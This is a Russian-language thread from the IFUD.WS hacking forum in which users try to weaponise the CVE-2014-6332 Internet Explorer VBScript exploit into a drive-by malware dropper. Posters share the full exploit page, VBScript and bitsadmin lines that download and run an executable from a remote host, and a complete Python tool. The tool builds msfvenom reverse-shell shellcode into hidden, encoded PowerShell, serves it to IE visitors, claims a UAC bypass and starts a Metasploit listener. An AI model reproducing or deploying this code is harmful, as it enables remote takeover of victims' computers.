1
  1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Эксплойт <IE11

Тема в разделе "Веб-Уязвимости | Эксплуатация", создана пользователем zakkk, 14 янв 2015.

  1. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Нашел вот этот эксплойт Please login or register to view links для ынтернет иксплорера до 11 .



    Код:
    //*
       allie(win95+ie3-win10+ie11) dve copy by yuange in 2009.
       cve-2014-6332 exploit
       https://twitter.com/yuange75
       http://hi.baidu.com/yuange1975
    *//
    
    <!doctype html>
    <html>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >
    <head>
    </head>
    <body>
    
    <SCRIPT LANGUAGE="VBScript">
    
    function runmumaa()
    On Error Resume Next
    set shell=createobject("Shell.Application")
    shell.ShellExecute "notepad.exe"
    end function
    
    </script>
    
    <SCRIPT LANGUAGE="VBScript">
    
    dim   aa()
    dim   ab()
    dim   a0
    dim   a1
    dim   a2
    dim   a3
    dim   win9x
    dim   intVersion
    dim   rnda
    dim   funclass
    dim   myarray
    
    Begin()
    
    function Begin()
      On Error Resume Next
      info=Navigator.UserAgent
    
      if(instr(info,"Win64")>0)   then
         exit   function
      end if
    
      if (instr(info,"MSIE")>0)   then
                 intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
      else
         exit   function
              
      end if
    
      win9x=0
    
      BeginInit()
      If Create()=True Then
         myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
         myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
    
         if(intVersion<4) then
             document.write("<br> IE")
             document.write(intVersion)
             runshellcode()                 
         else
              setnotsafemode()
         end if
      end if
    end function
    
    function BeginInit()
       Randomize()
       redim aa(5)
       redim ab(5)
       a0=13+17*rnd(6)
       a3=7+3*rnd(5)
    end function
    
    function Create()
      On Error Resume Next
      dim i
      Create=False
      For i = 0 To 400
        If Over()=True Then
        '   document.write(i)  
           Create=True
           Exit For
        End If
      Next
    end function
    
    sub testaa()
    end sub
    
    function mydata()
        On Error Resume Next
         i=testaa
         i=null
         redim  Preserve aa(a2)
         ab(0)=0
         aa(a1)=i
         ab(0)=6.36598737437801E-314
    
         aa(a1+2)=myarray
         ab(2)=1.74088534731324E-310
         mydata=aa(a1)
         redim  Preserve aa(a0)
    end function
    
    
    function setnotsafemode()
        On Error Resume Next
        i=mydata()
        i=readmemo(i+8)
        i=readmemo(i+16)
        j=readmemo(i+&h134)
        for k=0 to &h60 step 4
            j=readmemo(i+&h120+k)
            if(j=14) then
                  j=0       
                  redim  Preserve aa(a2)          
         aa(a1+2)(i+&h11c+k)=ab(4)
                  redim  Preserve aa(a0)
    
         j=0
                  j=readmemo(i+&h120+k)
          
                   Exit for
               end if
    
        next
        ab(2)=1.69759663316747E-313
        runmumaa()
    end function
    
    function Over()
        On Error Resume Next
        dim type1,type2,type3
        Over=False
        a0=a0+a3
        a1=a0+2
        a2=a0+&h8000000
        redim  Preserve aa(a0)
        redim   ab(a0)  
        redim  Preserve aa(a2)
        type1=1
        ab(0)=1.123456789012345678901234567890
        aa(a0)=10
           
        If(IsObject(aa(a1-1)) = False) Then
           if(intVersion<4) then
               mem=cint(a0+1)*16          
               j=vartype(aa(a1-1))
               if((j=mem+4) or (j*8=mem+8)) then
                  if(vartype(aa(a1-1))<>0)  Then 
                     If(IsObject(aa(a1)) = False ) Then          
                       type1=VarType(aa(a1))
                     end if            
                  end if
               else
                 redim  Preserve aa(a0)
                 exit  function
    
               end if
            else
               if(vartype(aa(a1-1))<>0)  Then 
                  If(IsObject(aa(a1)) = False ) Then
                      type1=VarType(aa(a1))
                  end if            
                end if
            end if
        end if
               
     
        If(type1=&h2f66) Then      
              Over=True   
        End If
        If(type1=&hB9AD) Then
              Over=True
              win9x=1
        End If
    
        redim  Preserve aa(a0)       
         
    end function
    
    function ReadMemo(add)
        On Error Resume Next
        redim  Preserve aa(a2)
        ab(0)=0
        aa(a1)=add+4  
        ab(0)=1.69759663316747E-313    
        ReadMemo=lenb(aa(a1))
    
        ab(0)=0 
    
        redim  Preserve aa(a0)
    end function
    
    </script>
    
    </body>
    </html>


    Данный код открывает notepad.exe . Вероятно , выполнить любой эксе . Я VBS ом не владею , поэтому не могу переделать этот код под боевой эксплойт .

    Код:
    <SCRIPT LANGUAGE="VBScript">
    
    function runmumaa()
    On Error Resume Next
    set shell=createobject("Shell.Application")
    shell.ShellExecute "notepad.exe"
    end function
    
    </script>
    Те кто знают владеют данным языком , помогите переделать в рабочий эксплойт , который открывает произвольный ексе .


    P.S наткнулся на чувака , тот продает не что подобное за неплохие деньги .
     
    • Like Like x 1
    Последнее редактирование модератором: 16 фев 2016
    Метки:
  2. Writer

    Writer

    Регистрация:
    10 янв 2015
    Сообщения:
    22
    Симпатии:
    2
    ничего не мешает просто отредактировать пару строчек, добавить урл файла на удаленном хосте, и пару команд - скачать и запустить, открой справочник по ВБС и там это элементарно
     
  3. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88

    Как я понял shell.ShellExecute "notepad.exe" запускает любой файл на компе . Нужно указать адресс к этому файлу . Тоесть нужно в функцию runmumaa() добавить скачку файла в определенную директорию ( диск ц к примеру ) и указать в функцию shell.ShellExecute адресс до этого файла .

    Код:
    dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
    dim bStrm: Set bStrm = createobject("Adodb.Stream")
    xHttp.Open "GET", "http://bla.com/xxx.png", False
    xHttp.Send
     
    with bStrm
        .type = 1 '//binary
        .open
        .write xHttp.responseBody
        .savetofile "c:\temp\xxx.png", 2 '//overwrite
    end with 

    типо того ? Но тогда инет будет сначало спрашивать разрешение на скачку файла , а тогда уже в сея скрипте нет никакого смысла .


    Только вот нефига не работает . Первый раз с VBS сталкиваюсь . Напишите , вообщем , кто знает как .
     
  4. Pavlovich

    Pavlovich

    Регистрация:
    8 янв 2014
    Сообщения:
    309
    Симпатии:
    221
    Подпишусь на эту тему !
    как я понимаю формат сплойта html из этого следует что скрипт кидаем на хостинг и льем на него трафик e11
    --- добавлено: 14 янв 2015 в 03:57 ---
    капнем глубже Please login or register to view links
    --- добавлено: 14 янв 2015 в 04:05 ---
    исходя из статейки в место notepad нужно запустить cmd.exe после этого в txt файле записана команды для командной строки
    --- добавлено: 14 янв 2015 в 04:08 ---
    ' интересно нужно раскачать тему
    --- добавлено: 14 янв 2015 в 04:45 ---
    Едим дальше cmd открыть не проблема теперь нужно послать команду в cmd переход по ссылке для скачивания файла (переход по ссылке через командную строчку )
    как это реализовать ? Моя теория залить вирь.exe на хостинг и в файле hthasse задать параметры разрешающие скачку exe после этого как-то прописать команду в cmd типа

    start "%ProgramFiles%\Internet Explorer\iexplore.exe" "Please login or register to view links
    %20Documents/вирь.exe"
    --- добавлено: 14 янв 2015 в 04:59 ---
    следующий этап это запустить вирь.exe
    нужно отправить команду start вирь.exe
    но это всё теория и только мои мысли
     
    Последнее редактирование модератором: 19 янв 2015
  5. TwoStar

    TwoStar

    Регистрация:
    25 ноя 2013
    Сообщения:
    13
    Симпатии:
    6
    Работает уже?)
     
  6. ponchic

    ponchic юзверь

    Регистрация:
    15 дек 2013
    Сообщения:
    407
    Симпатии:
    276
    Можно ещё запустить cmd и этот код:
    timeout /T 60
    bitsadmin.exe /transfer "Downloading" Please login or register to view links %appdata%/program.exe
    START %appdata%/program.exe

    ______
    T 60 - это таймаут
     
  7. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    Код:
    #!/usr/bin/env python
    #
    # MS14-064 Windows OLE Automation Array Remote Code Execution Vulnerability
    # Internet MS-14-064, CVE-2014-6332
    #
    # The vulnerability exists in Internet Explorer 3.0 - 11!
    # Working on Windows95 up to Windows 10!
    #
    # Ported to a standalone Python Exploiter by HR
    #
     
    ########## Edit PATH to MSFVENOM Bin ############
    MSFVENOM = '/home/hood3drob1n/fun/msf/msfvenom' #
    #################################################
     
    # TMP Dir for MSF RC Files #
    TMP = '/tmp/'              #
    ############################
     
    import base64, optparse, os, re, shlex, socket, SocketServer, StringIO, subprocess, sys
    from BaseHTTPServer import BaseHTTPRequestHandler,HTTPServer
    from colorama import Fore, Style
    from time import sleep
     
    if os.name == 'nt' or sys.platform.startswith('win'):
      from colorama import init
      init()
     
    def caution( msg ): print Style.BRIGHT + Fore.YELLOW + "[" + Fore.WHITE + "*" + Fore.YELLOW + "] " + Fore.WHITE + str( msg ) + Fore.RESET
    def good( msg ): print Style.BRIGHT + Fore.GREEN + "[" + Fore.WHITE + "*" + Fore.GREEN + "] " + Fore.WHITE + str( msg ) + Fore.RESET
    def bad( msg ): print Style.BRIGHT + Fore.RED + "[" + Fore.WHITE + "x" + Fore.RED + "] " + Fore.WHITE + str( msg ) + Fore.RESET
    def status( msg ): print Style.BRIGHT + Fore.BLUE + "[" + Fore.WHITE + "*" + Fore.BLUE + "] " + Fore.WHITE + str( msg ) + Fore.RESET
    def error( msg ): print Style.BRIGHT + Fore.RED + "[" + Fore.WHITE + "ERROR" + Fore.RED + "] " + Fore.WHITE + str( msg ) + Fore.RESET
    def print_line( msg ): print Style.BRIGHT + Fore.WHITE + str( msg ) + Fore.RESET
     
     
    def banner():
      cls()
      print ''
      print Style.BRIGHT + Fore.RED + "MS14" + Fore.WHITE + "-" + Fore.RED + "064 Windows OLE Automation Array RCE" + Fore.RESET
      print Style.BRIGHT + Fore.YELLOW + "Py" + Fore.BLUE + "thon " + Fore.RED + "Exploiter By" + Fore.WHITE + ": Hood3dRob1n\n" + Fore.RESET
     
     
    def cls():
      """ Clear Terminal """
      if os.name == 'nt' or sys.platform.startswith('win'): os.system('cls')
      else: os.system('clear')
     
     
    def commandz(self):
      """ Runs OS system command and return output as string """
      output = os.popen( self ).read()
      return str(output).strip()
     
     
    def generate_psh_payload(payload, rev_ip, rev_port):
      """
        Generates Encoded Powershell Command to Run our MSF Generated Shellcode
        Returns the Encoded String when done
     
        Example Building Powershell Command to Run Encoded Payload:
          powershell_command = generate_psh_payload('windows/meterpreter/reverse_https', '127.0.0.1', 443)
          psh_cmd = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand %s" % powershell_command
      """
      status("Generating %s shellcode...." % payload)
      proc = subprocess.Popen("%s -p %s LHOST=%s LPORT=%s -a x86 --platform windows -f c 2> /dev/null" % (MSFVENOM, payload, rev_ip, rev_port), stdout=subprocess.PIPE, shell=True)
      data = proc.communicate()[0]
      status("Formatting Shellcode....")
      data = data.replace(";", "")
      data = data.replace(" ", "")
      data = data.replace("+", "")
      data = data.replace('"', "")
      data = data.replace("\n", "")
      data = data.replace("buf=", "")
      data = data.replace('Found 0 compatible encoders', '')
      data = data.replace('unsignedcharbuf[]=', '')
      data = data.rstrip()
      data = re.sub("\\\\x", "0x", data)
      counter = 0
      mesh = ""
      newdata = ""
      for line in data:
        mesh = mesh + line
        counter = counter + 1
        if counter == 4:
          newdata = newdata + mesh + ","
          mesh = ""
          counter = 0
      shellcode = newdata[:-1]
      powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc = %s;$size = 0x1000;if ($sc.Length -gt 0x1000){$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60};';$gq = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if([IntPtr]::Size -eq 8){$x86 = $env:SystemRoot + "\syswow64\WindowsPowerShell\v1.0\powershell";$cmd = "-nop -noni -enc ";iex "& $x86 $cmd $gq"}else{$cmd = "-nop -noni -enc";iex "& powershell $cmd $gq";}""" %  (shellcode))
      powershell_command = base64.b64encode(powershell_code.encode('utf_16_le'))
      return powershell_command
     
     
    def payload_page(psh_payload):
      """
        HTML for our IE Exploit Page to serve up & trigger our payload
        Pass in the prepped Powershell arguments to execute as the final payload
     
        Edit line 108 as you see fit:
          open = non-elevated state
          runas = elevated state and bypasses uac
     
        If IE is in protected mode it will prompt user for acceptance no matter what
          If not in protected mode will run semi silently
            I leave it set to runas since the prompt is less cautionary than
            the protected mode prompt which makes this easier to SE in my opinion,
            and results in better payout when successfull as bypasses uac ;)
      """
      html  = '<!doctype html>\n'
      html += '<html>\n'
      html += '<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE8" >\n'
      html += '<title>Under Construction</title>\n'
      html += '<body bgcolor = Black link="#00FF00" alink="#ADFF2F" vlink="#98FB98"><br/>\n'
      html += '<SCRIPT LANGUAGE="VBScript">\n'
      html += '  function trigger()\n'
      html += '    On Error Resume Next\n'
      html += '    set shell=createobject("Shell.Application")\n'
      html += '    shell.ShellExecute "powershell.exe", "-NoE -NoP -NonI -W Hidden -E %s", "", "runas", 0\n' % psh_payload # Swap 'runas' to 'open' to disable the request for elevated powershell (bypasses uac)
      html += '  end function\n'
      html += '</script>\n'
      html += """
    <SCRIPT LANGUAGE="VBScript">
      dim aa()
      dim ab()
      dim a0
      dim a1
      dim a2
      dim a3
      dim win9x
      dim intVersion
      dim rnda
      dim funclass
      dim myarray
     
      Begin()
     
      function Begin()
        On Error Resume Next
        info=Navigator.UserAgent
        if(instr(info,"Win64")>0) then
        exit function
        end if
        if (instr(info,"MSIE")>0) then
          intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))
        else
        exit function
        end if
        win9x=0
        BeginInit()
        If Create()=True Then
          myarray=chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
          myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)
          if(intVersion<4) then
            document.write("<br> IE")
            document.write(intVersion)
            runshellcode()             
          else
            setnotsafemode()
          end if
        end if
      end function
     
      function BeginInit()
        Randomize()
        redim aa(5)
        redim ab(5)
        a0=13+17*rnd(6)
        a3=7+3*rnd(5)
      end function
     
      function Create()
        On Error Resume Next
        dim i
        Create=False
        For i = 0 To 400
          If Over()=True Then
          '  document.write(i)
            Create=True
            Exit For
          End If
        Next
      end function
     
      sub testaa()
      end sub
     
      function mydata()
        On Error Resume Next
        i=testaa
        i=null
        redim Preserve aa(a2)
        ab(0)=0
        aa(a1)=i
        ab(0)=6.36598737437801E-314
        aa(a1+2)=myarray
        ab(2)=1.74088534731324E-310
        mydata=aa(a1)
        redim Preserve aa(a0)
      end function
     
      function setnotsafemode()
        On Error Resume Next
        i=mydata()
        i=readmemo(i+8)
        i=readmemo(i+16)
        j=readmemo(i+&h134)
        for k=0 to &h60 step 4
          j=readmemo(i+&h120+k)
          if(j=14) then
            j=0   
            redim  Preserve aa(a2)     
            aa(a1+2)(i+&h11c+k)=ab(4)
            redim  Preserve aa(a0)
            j=0
            j=readmemo(i+&h120+k)
            Exit for
          end if
          next
          ab(2)=1.69759663316747E-313
          trigger()
      end function
     
      function Over()
        On Error Resume Next
        dim type1,type2,type3
        Over=False
        a0=a0+a3
        a1=a0+2
        a2=a0+&h8000000
        redim Preserve aa(a0)
        redim ab(a0)
        redim Preserve aa(a2)
        type1=1
        ab(0)=1.123456789012345678901234567890
        aa(a0)=10
        If(IsObject(aa(a1-1)) = False) Then
          if(intVersion<4) then
            mem=cint(a0+1)*16     
            j=vartype(aa(a1-1))
            if((j=mem+4) or (j*8=mem+8)) then
              if(vartype(aa(a1-1))<>0)  Then
                If(IsObject(aa(a1)) = False ) Then     
                  type1=VarType(aa(a1))
                end if       
              end if
            else
              redim  Preserve aa(a0)
              exit  function
            end if
          else
            if(vartype(aa(a1-1))<>0)  Then
              If(IsObject(aa(a1)) = False ) Then
                type1=VarType(aa(a1))
              end if       
            end if
          end if
        end if
        If(type1=&h2f66) Then 
          Over=True
        End If
        If(type1=&hB9AD) Then
          Over=True
          win9x=1
        End If
        redim Preserve aa(a0)   
      end function
     
      function ReadMemo(add)
        On Error Resume Next
        redim Preserve aa(a2)
        ab(0)=0
        aa(a1)=add+4
        ab(0)=1.69759663316747E-313
        ReadMemo=lenb(aa(a1))
        ab(0)=0
        redim Preserve aa(a0)
      end function
    </script>
    <center><h1><font color= Lime>Nothing to see here....</font></h1></center>
    <hr></body></html>"""
      return html
     
     
     
    class myHandler(BaseHTTPRequestHandler):
      """ Handle incoming requests from browsers """
      evil_html = ''
     
     
      def do_GET(self):
        """
          This will handle any GET requests coming into the server
        """
        if re.search(r'MSIE|Windows|Internet Explorer', str(self.headers['user-agent']), re.I):
          status("Internet Explorer Detected!")
          sys.stdout.write('  ')
          status("Presenting Exploit Page to: %s" % str(self.client_address[0]))
          # Send the html payload page to victim IE instance
          if self.path.lower() == payload_uri:
            self.send_response(200)
            self.send_header('Content-type','text/html')
            self.end_headers()
            self.wfile.write(self.evil_html)
          else:
            caution("Snooper detected...")
            self.send_error(404)
        else:
          caution("Snooper detected...")
          self.send_error(404)
        return
     
      def do_POST(self):
        """
          This will handle any POST requests coming into the server
        """
        if re.search(r'MSIE|Windows|Internet Explorer', str(self.headers['user-agent']), re.I):
          status("Internet Explorer Detected!")
          sys.stdout.write('  ')
          status("Presenting Exploit Page to: %s" % str(self.client_address[0]))
          # Send the html payload page to victim IE instance
          if self.path.lower() == payload_uri:
            self.send_response(200)
            self.send_header('Content-type','text/html')
            self.end_headers()
            self.wfile.write(self.evil_html)
          else:
            caution("Snooper detected...")
            self.send_error(404)
        else:
          caution("Snooper detected...")
          self.send_error(404)
        return
     
     
    def web_server(srvrip='0.0.0.0', srvrport=8080, uri='/pwnme', payload='windows/shell/reverse_tcp', rip='127.0.0.1', rport=4444):
      """
        Temporary Web Server using SimpleHTTP
        Allows us to serve up payloads for IE exploit with quick takedown after
     
        port = port to run web server on
            *listens on 0.0.0.0:8080 by default
     
        Just hit CNTRL+C to close server down
      """
      try:
    #    myHandler.evil_html = payload_page(powershell_builder(payload, rip, rport))
    #    myHandler.evil_html = payload_page(generate_payload(payload, rip, rport))
        myHandler.evil_html = payload_page(generate_psh_payload(payload, rip, rport))
     
     
        httpd = SocketServer.TCPServer((srvrip, srvrport), myHandler)
        status("Web Server Started on Port: %d" % int(srvrport))
        status("Evil URI: %s" % payload_link)
        status("Hit CTRL+C to Stop the Server...\n\n")
        # Wait for victims to come to our page...
        httpd.serve_forever()
      except socket.error, e:
        error('Try again in 30 seconds or so...')
        sys.stdout.write('  ')
        bad('Socket Error:\n  %s\n' % e)
      except KeyboardInterrupt:
        error("CTRL+C Interupt Detected!")
        sys.stdout.write('  ')
        bad("Shutting Down Web Server...\n")
        httpd.shutdown
      return
     
     
    def window_spawn(title='MS14-064 PyEdition', cmd='id; pwd; uname -a; ls -lua'):
      """
        ***Linux Only Function:
        Spawns a new xterm window with requested system command run in it
        Window is spawn via forking process and then executing things in child
     
        Returns PID for the new child window process
      """
      if os.name == 'nt' or sys.platform.startswith('win'):
        error("Sorry, but this option is not supported on your OS....\n")
      else:
        xterm=commandz('which xterm')
        bash=commandz('which bash')
        if xterm.strip() != '':
          parent_pid = os.getpid()
          forked_pid = os.fork()
          if forked_pid == 0:
            cmd_str = "%s -title '%s' -font -*-fixed-medium-r-*-*-18-*-*-*-*-*-iso8859-* -e \"%s -c '%s && echo \\\"Hit [ENTER] to Close\\\" && read'\"" % (xterm, title, bash, cmd)
            command = shlex.split(cmd_str)
            os.execv(command[0], command)
          else:
            status("Parent PID: %d" % parent_pid)
            status("New Window Process Spawned Under Child PID: %d" % forked_pid)
        else:
          error("xterm bin not found!")
          error("Can't spawn new window as a result.....")
      return forked_pid
     
     
    def msf_multi_handler_launcher():
      """
        Creates a MSF Resource File for Launching exploit/multi/handler
        Then lanches MSF with this resource file in a new xterm window
      """
      if os.name == 'nt' or sys.platform.startswith('win'):
        error("Sorry, but this option is not supported on your OS....\n")
      else:
        if not os.path.isfile(TMP) and not os.path.isdir(TMP):
          os.mkdir(TMP)
        rcfile = re.sub(r'\/$', '', TMP) + '/msf_listener.rc'
        fw = open(rcfile, "w+")
        fw.write("use exploit/multi/handler\n")
        fw.write("set PAYLOAD %s\n" % reverse_payload)
        fw.write("set LHOST %s\n" % reverse_ip)
        fw.write("set LPORT %s\n" % reverse_port)
        if re.search(r'meterpreter', reverse_payload):
          fw.write("set ExitOnSession false\n")
          fw.write("set AutoRunScript migrate -f\n")
        fw.write("exploit -j -z")
        fw.close()
        status("Launching MSF Multi-Handler in New Window...")
        pid = window_spawn('MS14-064 PyEdition - MSF Listener', "%s -r %s" % (MSFVENOM.replace('msfvenom', 'msfconsole'), rcfile))
        status("OK, MSF Resource File for later cleanup:\n      %s" % rcfile)
     
     
     
     
     
     
     
     
     
     
     
    # Parse Arguments/Options
    parser = optparse.OptionParser(banner(), version="%prog v0.01b")
    parser.add_option("-I", "--srv-ip", dest="srvip", default='0.0.0.0', type="string", help="IP to Use for Payload Web Server (default: 0.0.0.0)")
    parser.add_option("-P", "--srv-port", dest="srvport", default=8080, type="int", help="Port to Use for Payload Web Server (default: 8080)")
    parser.add_option("-u", "--uri", dest="uri", default='/pwnme', type="string", help="URI Path for Exploit (default: /pwnme)")
    parser.add_option("-r", "--payload", dest="num", default=1, type="choice", choices=[ '1', '2', '3', '4', '5' ], help="Windows Payload to Use: 1:shell/reverse_tcp, 2:meterpreter/reverse_tcp, 3:meterpreter/reverse_http, 4:meterpreter/reverse_https, 5:vncinject/reverse_tcp")
    parser.add_option("-i", "--ip", dest="ip", default=None, type="string", help="IP to Use for Reverse Shell Payload")
    parser.add_option("-p", "--port", dest="port", default=4444, type="int", help="Port to Use for Reverse Shell Payload (default: 4444)")
    (options, args) = parser.parse_args()
     
    # Make sure we got arguments
    args = sys.argv[1:]
    if not args:
      parser.print_help()
      sys.exit()
     
    if options.port == None:
      print "\n[ERROR] Need to provide -p PORT to use for reverse payload connection!\n"
      parser.print_help()
      sys.exit()
    else:
      reverse_port = options.port
     
    if options.ip == None:
      print "\n[ERROR] Need to provide -i IP to use for reverse payload connection!\n"
      parser.print_help()
      sys.exit()
    else:
      reverse_ip = options.ip
     
    srvip = options.srvip
    srvport = options.srvport
    payload_uri = options.uri.lower()
    payload_link = 'http://' + srvip + ':' + str(srvport) + payload_uri
    HOME = os.path.dirname(os.path.realpath(__file__)) + '/'
     
    reverse_payload = 'windows/'
    if int(options.num) == 1:
      reverse_payload += 'shell/reverse_tcp'
    elif int(options.num) == 2:
      reverse_payload += 'meterpreter/reverse_tcp'
    elif int(options.num) == 3:
      reverse_payload += 'meterpreter/reverse_http'
    elif int(options.num) == 4:
      reverse_payload += 'meterpreter/reverse_https'
    elif int(options.num) == 5:
      reverse_payload += 'vncinject/reverse_tcp'
    else:
      error("Invalid Payload Option Detected: %d" % int(options.num))
      sys.exit()
     
     
     
    def main():
      try:
        if os.geteuid() != 0:
          caution("Not Running w/Privileges!")
          sys.stdout.write('  ')
          caution("Depending on setup, this may impact payload builder and/or web server....\n")
     
        status("Payload URI: %s" % payload_link)
        sys.stdout.write('  ')
        status("Payload: %s" % reverse_payload)
        sys.stdout.write('      ')
        status("Listener IP: %s" % reverse_ip)
        sys.stdout.write('      ')
        status("Listener PORT: %s\n" % reverse_port)
        if os.name == 'nt' or sys.platform.startswith('win'):
          caution("Make sure your listener is ready.....")
        else:
          msf_multi_handler_launcher()
          sleep(10)
        status("Setting up our evil web server, one sec.....")
        web_server(srvip, srvport, payload_uri, reverse_payload, reverse_ip, reverse_port)
     
      except KeyboardInterrupt:
        error("CTRL+C Detected, Shutting Down...\n")
        sys.exit()
     
    if __name__ == '__main__':
      main()
     
    #EOF


    Нашел код на питоне который генерирует этот эксплойт , и связывает его с метасплойт листенером .




    Из помогте из этого кода разобратся в том , как он скачивает и запускает произвольный эксе .
     
  8. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88

    вот видос о том как использовать эту уязвимость через metasploit
     
  9. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
  10. TopicStarter Overlay
    zakkk

    zakkk

    Регистрация:
    15 май 2013
    Сообщения:
    226
    Симпатии:
    88
    О , тут сообщение поудалялись после переделки форума . Тут был код рабочий . Запостить заного могу , если вам нужно . Как я помню из-за этой темы яндекс ифуд блокировать начал ?
     
  11. usFire

    usFire

    Регистрация:
    20 авг 2012
    Сообщения:
    274
    Симпатии:
    177
    код не помешает
     

Поделиться этой страницей

Загрузка...